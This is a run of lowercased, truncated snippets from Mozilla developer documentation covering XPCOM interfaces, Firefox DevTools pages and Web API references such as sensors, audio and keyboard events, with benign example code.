from: nsisupports method overview nsitreecolumn getcolumnat(in long index); nsitreecolumn getcolumnfor(in nsidomelement element); nsitreecolumn getfirstcolumn(); nsitreecolumn getkeycolumn(); nsitreecolumn getlastcolumn(); nsitreecolumn getnamedcolumn(in astring id); nsitreecolumn getprimarycolumn(); nsitreecolumn getsortedcolumn(); void invalidatecolumns(); void restorenaturalorder(); attributes attribute type description count long the number of columns.
nsITreeContentView
last changed in gecko 1.8.0 inherits
from: nsisupports method overview long getindexofitem(in nsidomelement item); nsidomelement getitematindex(in long index); attributes attribute type description root nsidomelement the element in the dom which this view uses as root content.
nsITreeSelection
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void adjustselection(in long index, in long count); void clearrange(in long startindex, in long endindex); void clearselection(); void getrangeat(in long i, out long min, out long max); long getrangecount(); void invalidateselection(); void invertselection(); boolean isselected(in long index); void rangedselect(in long startindex, in long endindex, in boolean augment); void select(in long index); void selectall(); void timedselect(in long index, ...
nsIURL
inherits
from: nsiuri last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) http://host/directory/filebasename.fileextension?query http://host/directory/filebasename.fileextension#ref http://host/directory/filebasename.fileextension;param \ \ / \ ----------------------- \ | / \ filename / ---------------------------- | filepath you can get a nsiurl
from an nsiuri, using the queryinterface() method: var myuri = compo...
nsIURLParser
inherits
from: nsisupports last changed in gecko 1.7 method overview void parseauthority(in string authority, in long authoritylen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen, out unsigned long hostnamepos, out long hostnamelen, out long port); void parsefilename(in string filename, in long filenamelen, out unsigned long basenamepos, out long basenamelen, out unsigned long extensionpos, out long extensionlen); void parsefilepath(in string filepath, in long filepathlen, out unsigned long directorypos, out long directorylen, out unsigned long basenamepos, out long basenam...
nsIUTF8StringEnumerator
inherits
from: nsisupports last changed in gecko 1.7 method overview autf8string getnext(); boolean hasmore(); methods getnext() returns the next string in the enumerator.
nsIUUIDGenerator
1.0 66 introduced gecko 1.8.1 inherits
from: nsisupports last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by @mozilla.org/uuid-generator; as a service: var uuidgenerator = components.classes["@mozilla.org/uuid-generator;1"] .getservice(components.interfaces.nsiuuidgenerator); method overview nsidptr generateuuid(); void generateuuidinplace(in nsnonconstidptr id); native code only!
nsIUpdateCheckListener
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void oncheckcomplete(in nsixmlhttprequest request, [array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); void onerror(in nsixmlhttprequest request, in nsiupdate update); void onprogress(in nsixmlhttprequest request, in unsigned long position, in unsigned long totalsize); methods oncheckcomplete() called when the update check is completed.
nsIUpdateChecker
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void checkforupdates(in nsiupdatechecklistener listener, in boolean force); void stopchecking(in unsigned short duration); constants constant value description current_check 1 constant for the stopchecking() method indicating that only the current update check should be stopped.
nsIUpdateManager
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsiupdate getupdateat(in long index); void saveupdates(); attributes attribute type description activeupdate nsiupdate an nsiupdate object describing the currently in use update.
nsIUpdatePrompt
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void checkforupdates(); void showupdateavailable(in nsiupdate update); void showupdatedownloaded(in nsiupdate update, [optional] in boolean background); void showupdateerror(in nsiupdate update); void showupdatehistory(in nsidomwindow parent); void showupdateinstalled(); methods checkforupdates() presents a user interface that checks for and displays the available updates.
nsIUpdateTimerManager
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void registertimer(in astring id, in nsitimercallback callback, in unsigned long interval); methods registertimer() presents a user interface that checks for and displays the available updates.
nsIUploadChannel
inherits
from: nsisupports last changed in gecko 1.7 method overview void setuploadstream(in nsiinputstream astream, in acstring acontenttype, in long acontentlength); attributes attribute type description uploadstream nsiinputstream get the stream (to be) uploaded by this channel.
nsIUploadChannel2
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void explicitsetuploadstream(in nsiinputstream astream, in acstring acontenttype, in long long acontentlength, in acstring amethod, in boolean astreamhasheaders); methods explicitsetuploadstream() sets a stream to be uploaded by this channel with the specified content-type and content-length header values.
nsIUrlListManagerCallback
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleevent(in acstring value); methods handleevent() void handleevent( in acstring value ); parameters value ...
nsIUserCertPicker
inherits
from: nsisupports last changed in gecko 1.7 method overview nsix509cert pickbyusage(in nsiinterfacerequestor ctx, in wstring selectednickname, in long certusage, in boolean allowinvalid, in boolean allowduplicatenicknames, out boolean canceled); methods pickbyusage() nsix509cert pickbyusage( in nsiinterfacerequestor ctx, in wstring selectednickname, in long certusage, in boolean allowinvalid, in boolean allowduplicatenicknames, out boolean canceled ); parameters ctx selectednickname certusage allowinvalid allowduplicatenicknames canceled return value ...
nsIUserInfo
inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/userinfo;1.
nsIVariant
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview acstring getasacstring(); native code only!
nsIVersionComparator
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) version strings are dot-separated sequences of version-parts.
nsIWebBrowserChrome2
1.0 66 introduced gecko 1.9 inherits
from: nsiwebbrowserchrome last changed in gecko 1.9 (firefox 3) method overview void setstatuswithcontext(in unsigned long statustype, in astring statustext, in nsisupports statuscontext); methods setstatuswithcontext() called when the status text in the chrome needs to be updated.
nsIWebBrowserChrome3
1.0 66 introduced gecko 2.0 inherits
from: nsiwebbrowserchrome2 last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview astring onbeforelinktraversal(in astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab); methods onbeforelinktraversal() determines the appropriate target for a link.
nsIWebNavigationInfo
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/webnavigation-info;1 as a service: var webnavigationinfo = components.classes["@mozilla.org/webnavigation-info;1"] .getservice(components.interfaces.nsiwebnavigationinfo); method overview unsigned long istypesupported(in acstring atype, in nsiwebnavigation awebnav); constants support type constants constant value description unsupported 0 returned by istypesupported() to indicate lack of support f...
nsIWebSocketListener
1.0 66 introduced gecko 8.0 inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void onacknowledge(in nsisupports acontext, in pruint32 asize); void onbinarymessageavailable(in nsisupports acontext, in acstring amsg); void onmessageavailable(in nsisupports acontext, in autf8string amsg); void onserverclose(in nsisupports acontext, in unsigned short acode, in autf8string areason); void onstart(in nsisupports acontext); void onstop(in nsisupports acontext, in nsres...
nsIWifiListener
1.0 66 introduced gecko 1.9.1 inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void onchange([array, size_is(alen)] in nsiwifiaccesspoint accesspoints, in unsigned long alen); void onerror(in long error); methods onchange() called when the list of available access points changes.
nsIWifiMonitor
1.0 66 introduced gecko 1.9.1 inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) this is used, for example, by geolocation to use wifi access points for location detection.
nsIWinAccessNode
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview voidptr querynativeinterface([const] in mscomiidref aiid); methods querynativeinterface() voidptr querynativeinterface( [const] in mscomiidref aiid ); parameters aiid return value ...
nsIWindowsShellService
inherits
from: nsishellservice last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview string getregistryentry(in long ahkeyconstant, in string asubkeyname, in string avaluename); obsolete since gecko 1.8 void restorefilesettings(in boolean aforallusers); obsolete since gecko 1.9 void shortcutmaintenance(); attributes attribute type description desktopbackgroundcolor unsigned long the desktop background color, visible when no background image is used, or if the background image is centered and does not fill the entire screen.
nsIWorker
1.0 66 introduced gecko 1.9.1 inherits
from: nsiabstractworker last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) for usage details, see worker and the article using dom workers.
nsIWorkerGlobalScope
1.0 66 introduced gecko 1.9.1 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) attributes attribute type description location nsiworkerlocation read only.
nsIWorkerMessageEvent
1.0 66 introduced gecko 1.9.1 inherits
from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void initmessageevent(in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg); attributes attribute type description data domstring the event's data.
nsIWorkerMessagePort
1.0 66 introduced gecko 1.9.1 inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void postmessage(in domstring amessage); methods postmessage() posts a message into the event queue.
nsIWorkerScope
1.0 66 introduced gecko 1.9.1 inherits
from: nsiworkerglobalscope last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void postmessage(in domstring amessage, [optional] in nsiworkermessageport amessageport); void close(); attributes attribute type description onclose nsidomeventlistener a listener object to be called when the worker stops running.
nsIWritablePropertyBag
1.0 66 introduced gecko 1.8 inherits
from: nsipropertybag last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void deleteproperty(in astring name); void setproperty(in astring name, in nsivariant value); methods deleteproperty() delete a property with the given name.
nsIWritablePropertyBag2
1.0 66 introduced gecko 1.8 inherits
from: nsipropertybag2 last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void setpropertyasacstring(in astring prop, in acstring value); void setpropertyasastring(in astring prop, in astring value); void setpropertyasautf8string(in astring prop, in autf8string value); void setpropertyasbool(in astring prop, in boolean value); void setpropertyasdouble(in astring prop, in double value); void setpropertyasint32(in astring prop, in print32 value); void setpropertyasint64(in astring prop, in print64 value)...
nsIXMLHttpRequestEventTarget
1.0 66 introduced gecko 1.9.1 inherits
from: nsidomeventtarget last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) attributes attribute type description onabort nsidomeventlistener a javascript function object that gets invoked if the operation is canceled by the user.
nsIXMLHttpRequestUpload
1.0 66 introduced gecko 1.9.1 inherits
from: nsidomeventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description onabort nsidomeventlistener onerror nsidomeventlistener onload nsidomeventlistener onloadstart nsidomeventlistener onprogress nsidomeventlistener see also nsixmlhttprequest nsixmlhttprequesteventtarget xmlhttprequest using xmlhttprequest ...
nsIXSLTException
inherits
from: nsiexception last changed in gecko 1.7 attributes attribute type description sourcenode nsidomnode the context node, may be null.
nsIXULAppInfo
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) in xulrunner applications nsixulappinfo obtains app-specific information
from application.ini.
How to - Firefox Developer Tools
css flexbox inspector: examine flexbox layoutscss grid inspector: examine grid layoutsedit css filtersedit shape paths in cssedit fontsexamine event listenersexamine and edit cssexamine and edit htmlexamine and edit the box modelinspect and select colorsopen the inspectorreposition elements in the pageselect an elementselect and highlight elementsuse the inspector apiuse the inspector
from the web consoleview background imagesvisualize transformswork with animations ...
Sorting algorithms comparison - Firefox Developer Tools
raph looks like this: sortall() // (generate random array, then call sort) x 200 -> sort() // sort with each algorithm, log the result -> bubblesort() -> swap() -> selectionsort() -> swap() -> quicksort() -> partition() the implementations of the sorting algorithms in the program are taken
from https://github.com/nzakas/computer-science-in-javascript/ and are used under the mit license.
Web console keyboard shortcuts - Firefox Developer Tools
t + k search in the message display pane ctrl + f cmd + f ctrl + f open the object inspector pane ctrl + click ctrl + click ctrl + click clear the object inspector pane esc esc esc focus on the command line ctrl + shift + k cmd + opt + k ctrl + shift + k clear output ctrl + shift + l ctrl + l
from firefox 67: cmd + k ctrl + shift + l command line interpreter these shortcuts apply when you're in the command line interpreter.
Split console - Firefox Developer Tools
as usual, $0 works as a shorthand for the element currently selected in the inspector: when you use the split console with the debugger, the console's scope is the currently executing stack
frame.
Web Console - Firefox Developer Tools
opening the web console you open the web console
from a menu or with a keyboard shortcut: choose web console
from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on mac os x) press the ctrl+shift+k (command+option+k on os x) keyboard shortcut.
ANGLE_instanced_arrays - Web APIs
constants this extension exposes one new constant, which can be used in the gl.getvertexattrib() method: ext.vertex_attrib_array_divisor_angle returns a glint describing the
frequency divisor used for instanced rendering when used in the gl.getvertexattrib() as the pname parameter.
Accelerometer.x - Web APIs
let accelerometer = new accelerometer({
frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recom...
Accelerometer.y - Web APIs
let accelerometer = new accelerometer({
frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recom...
Accelerometer.z - Web APIs
let accelerometer = new accelerometer({
frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recom...
Accelerometer - Web APIs
let acl = new accelerometer({
frequency: 60}); acl.addeventlistener('reading', () => { console.log("acceleration along the x-axis " + acl.x); console.log("acceleration along the y-axis " + acl.y); console.log("acceleration along the z-axis " + acl.z); }); acl.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
AddressErrors.languageCode - Web APIs
this validation might be as simple as ensuring the text of the string is compliant with the syntax defined in bcp-47, or as detailed as actually verifying that the specified string matches a value
from a database.
AudioBufferSourceNode.detune - Web APIs
example const audioctx = new audiocontext(); const channelcount = 2; const
framecount = audioctx.samplerate * 2.0; // 2 seconds const myarraybuffer = audioctx.createbuffer(channelcount,
framecount, audioctx.samplerate); for (let channel = 0; channel < channelcount; channel++) { const nowbuffering = myarraybuffer.getchanneldata(channel); for (let i = 0; i <
framecount; i++) { nowbuffering[i] = math.random() * 2 - 1; } } const source = audioctx.createbuffersourc...
AudioBufferSourceNode.start() - Web APIs
examples the most simple example just starts the audio buffer playing
from the beginning — you don't need to specify any parameters in this case: source.start(); the following more complex example will, 1 second
from now, start playing 10 seconds worth of sound starting 3 seconds into the audio buffer.
AudioContext.resume() - Web APIs
example the following snippet is taken
from our audiocontext states demo (see it running live.) when the suspend/resume button is clicked, the audiocontext.state is queried — if it is running, suspend() is called; if it is suspended, resume() is called.
AudioContext.suspend() - Web APIs
example the following snippet is taken
from our audiocontext states demo (see it running live.) when the suspend/resume button is clicked, the audiocontext.state is queried — if it is running, suspend() is called; if it is suspended, resume() is called.
AudioListener.dopplerFactor - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
AudioListener.forwardX - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
AudioListener.forwardY - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
AudioListener.forwardZ - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
AudioListener.positionX - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
AudioListener.positionY - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
AudioListener.positionZ - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
AudioListener.setPosition() - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
AudioListener.upX - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
AudioListener.upY - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
AudioListener.upZ - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
EXT_float_blend - Web APIs
examples const gl = canvas.getcontext('webgl2'); // enable necessary extensions gl.getextension('ext_color_buffer_float'); gl.getextension('ext_float_blend'); const tex = gl.createtexture(); gl.bindtexture(gl.texture_2d, tex); // use floating point format gl.teximage2d(gl.texture_2d, 0, gl.rgba32f, 1, 1, 0, gl.rgba, gl.float, null); const fb = gl.create
framebuffer(); gl.bind
framebuffer(gl.
framebuffer, fb); gl.
framebuffertexture2d(gl.
framebuffer, gl.color_attachment0, gl.texture_2d, tex, 0); // enable blending gl.enable(gl.blend); gl.drawarrays(gl.points, 0, 1); // won't throw gl.invalid_operation with the extension enabled specifications specification status ext_float_blend draft ...
EXT_shader_texture_lod - Web APIs
4 texture2dprojgradext(sampler2d sampler, vec3 p, vec2 dpdx, vec2 dpdy) vec4 texture2dprojgradext(sampler2d sampler, vec4 p, vec2 dpdx, vec2 dpdy) vec4 texturecubegradext(samplercube sampler, vec3 p, vec3 dpdx, vec3 dpdy) examples enabling the extensions: gl.getextension('ext_shader_texture_lod'); shader code that avoids artifacts when wrapping texture coordinates: <script type="x-shader/x-
fragment"> #extension gl_ext_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_
fragcolor = texture2dgradext(mytexture, mod(texcoord, vec2(0.1, 0.5)), dfdx(texcoord), dfdy(texcoord)); } </script> specifications specification status comment ext_s...
Element: DOMActivate event - Web APIs
bubbles yes cancelable yes interface mouseevent examples <svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseprofile="tiny" xmlns:ev="http://www.w3.org/2001/xml-events" width="6cm" height="5cm" viewbox="0 0 600 500"> <desc>example: invoke an ecmascript function
from a domactivate event</desc> <!-- ecmascript to change the radius --> <script type="application/ecmascript"><![cdata[ function change(evt) { var circle = evt.target; var currentradius = circle.getfloattrait("r"); if (currentradius == 100) circle.setfloattrait("r", currentradius * 2); else circle.setfloattrait("r", currentradius * 0.5); } ]]><...
Element: MSManipulationStateChanged event - Web APIs
examples // listen for panning state change events outerscroller.addeventlistener("msmanipulationstatechanged", function(e) { // check to see if they lifted while pulled to the top if (e.currentstate == ms_manipulation_state_inertia && outerscroller.scrolltop === 0) { re
freshitemsasync(); } }); specifications not part of any specification.
Element.classList - Web APIs
in ie9, however, it is possible through extending the prototype,
freezing the visible object, and overwritting native property methods.
Element: copy event - Web APIs
examples live example html <div class="source" contenteditable="true">try copying text
from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('copy', (event) => { const selection = document.getselectio...
Element: error event - Web APIs
bubbles no cancelable no interface event or uievent event handler property onerror the event object is a uievent instance if it was generated
from a user interface element, or an event instance otherwise.
Element.getAnimations() - Web APIs
examples the following code snippet will wait for all animations on elem and its descendants to finish before removing the element
from the document.
Element.getAttributeNS() - Web APIs
getattributens() differs
from getattribute() in that it allows you to further specify the requested attribute as being part of a particular namespace, as in the example above, where the attribute is part of the fictional "specialspace" namespace on mozilla.
GeolocationCoordinates.longitude - Web APIs
from the geolocationposition object, we obtain the user's latitude and longitude using position.coords.latitude and position.coords.longitude so we can update the displayed coordinates.
GlobalEventHandlers.onerror - Web APIs
notes when an error occurs in a script, loaded
from a different origin, the details of the error are not reported to prevent leaking information (see bug 363897).
GlobalEventHandlers.onformdata - Web APIs
const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data
from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'onformdata' in that specification.
GlobalEventHandlers.onpointerdown - Web APIs
lso have a handler for pointerup events: targetbox.onpointerup = handleup; function handleup(evt) { targetbox.innerhtml = "tap me, click me, or touch me!"; evt.preventdefault(); } this code's job is to just restore the original text into the target box after the user's interaction with the element ends (for example, when they release the mouse button, or when they lift the stylus or finger
from the screen).
Gyroscope.x - Web APIs
let gyroscope = new gyroscope({
frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendatio...
Gyroscope.y - Web APIs
let gyroscope = new gyroscope({
frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendatio...
Gyroscope.z - Web APIs
let gyroscope = new gyroscope({
frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendatio...
Gyroscope - Web APIs
let gyroscope = new gyroscope({
frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendatio...
InterventionReportBody - Web APIs
so for example, a script was been stopped because it was significantly slowing down the browser, or the browser's autoplay policy blocked audio
from playing without a user gesture to trigger it.
Keyboard - Web APIs
the keyboard interface of the the keyboard api provides functions that retrieve keyboard layout maps and toggle capturing of key presses
from the physical keyboard.
KeyboardEvent.altKey - Web APIs
syntax var altkeypressed = instanceofkeyboardevent.altkey return value boolean examples <html> <head> <title>altkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key keydown: " + string.
fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "alt key keydown: " + e.altkey + "\n" ); } </script> </head> <body onkeydown="showchar(event);"> <p> press any character key, with or without holding down the alt key.<br /> you can also use the shift key together with the alt key.
KeyboardEvent.charCode - Web APIs
example html <p>type anything into the input box below to log a <code>charcode</code>.</p> <input type="text" /> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.queryselector('#log'); input.addeventlistener('keypress', function(e) { log.innertext = `key pressed: ${string.
fromcharcode(e.charcode)}\ncharcode: ${e.charcode}`; }); result notes in a keypress event, the unicode value of the key pressed is stored in either the keycode or charcode property, but never both.
KeyboardEvent.initKeyEvent() - Web APIs
false, // shiftkeyarg, false, // metakeyarg, 9, // keycodearg, 0); // charcodearg); document.getelementbyid('blah').dispatchevent(event); specification this implementation of keyboard events is based on the key events spec in the early versions of dom 2 events, later removed
from that spec.
KeyboardEvent.shiftKey - Web APIs
syntax var shiftkeypressed = instanceofkeyboardevent.shiftkey return value a boolean example <html> <head> <title>shiftkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key pressed: " + string.
fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "shift key pressed: " + e.shiftkey + "\n" + "alt key pressed: " + e.altkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the shift key.<br /> you can also use the shift key together with the alt key.</p> </body> </html> specifications ...
KeyboardEvent.which - Web APIs
example <html> <head> <title>charcode/keycode/which example</title> <script type="text/javascript"> function showkeypress(evt) { alert("onkeypress handler: \n" + "keycode property: " + evt.keycode + "\n" + "which property: " + evt.which + "\n" + "charcode property: " + evt.charcode + "\n" + "character key pressed: " + string.
fromcharcode(evt.charcode) + "\n" ); } function keydown(evt) { alert("onkeydown handler: \n" + "keycode property: " + evt.keycode + "\n" + "which property: " + evt.which + "\n" ); } </script> </head> <body onkeypress="showkeypress(event);" onkeydown="keydown(event);" > <p>please press any key.</p> </body> </html> specifications specification status com...
LayoutShift - Web APIs
properties layoutshift.value returns the impact
fraction (
fraction of the viewport that was shifted) times the distance
fraction (distance moved as a
fraction of viewport).
LinearAccelerationSensor.x - Web APIs
let lasensor = new linearaccelerationsensor({
frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommend...
LinearAccelerationSensor.y - Web APIs
let lasensor = new linearaccelerationsensor({
frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommend...
LinearAccelerationSensor.z - Web APIs
let lasensor = new linearaccelerationsensor({
frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommend...
LinearAccelerationSensor - Web APIs
let lasensor = new linearaccelerationsensor({
frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommend...
Location: search - Web APIs
modern browsers provide urlsearchparams and url.searchparams to make it easy to parse out the parameters
from the querystring.
LockedFile - Web APIs
properties lockedfile.filehandle read only the filehandle object
from which the lock was opened.
MSCandidateWindowHide - Web APIs
the handler of this event will see that the iscandidatewindowvisible method returns false, and no clientrect object is returned
from getcandidatewindowclientrect.
MSManipulationEvent - Web APIs
methods msmanipulationevent.initmsmanipulationevent(): used to create a manipulation event that can be called
from javascript.
MSRangeCollection - Web APIs
remarks the msrangecollection object does not inherit
from any class or interface and does not define any members.
Magnetometer.x - Web APIs
let magsensor = new magnetometer({
frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation d...
Magnetometer.y - Web APIs
let magsensor = new magnetometer({
frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation d...
Magnetometer.z - Web APIs
let magsensor = new magnetometer({
frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation d...
Magnetometer - Web APIs
let magsensor = new magnetometer({
frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation d...
MathMLElement - Web APIs
properties this interface has no properties, but inherits properties
from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement methods this interface has no methods, but inherits methods
from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement examples mathml <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mi>x</mi> </msqrt> </math> javascript document.queryselector('msqrt').constructor.name; // mathmlelement specifications specification status comment mathmlelement interface ...
MediaCapabilities.encodingInfo() - Web APIs
example //create media configuration to be tested const mediaconfig = { type : 'record', // or 'transmission' video : { contenttype : "video/webm;codecs=vp8.0", // valid content type width : 1920, // width of the video height : 1080, // height of the video bitrate : 120000, // number of bits used to encode 1s of video
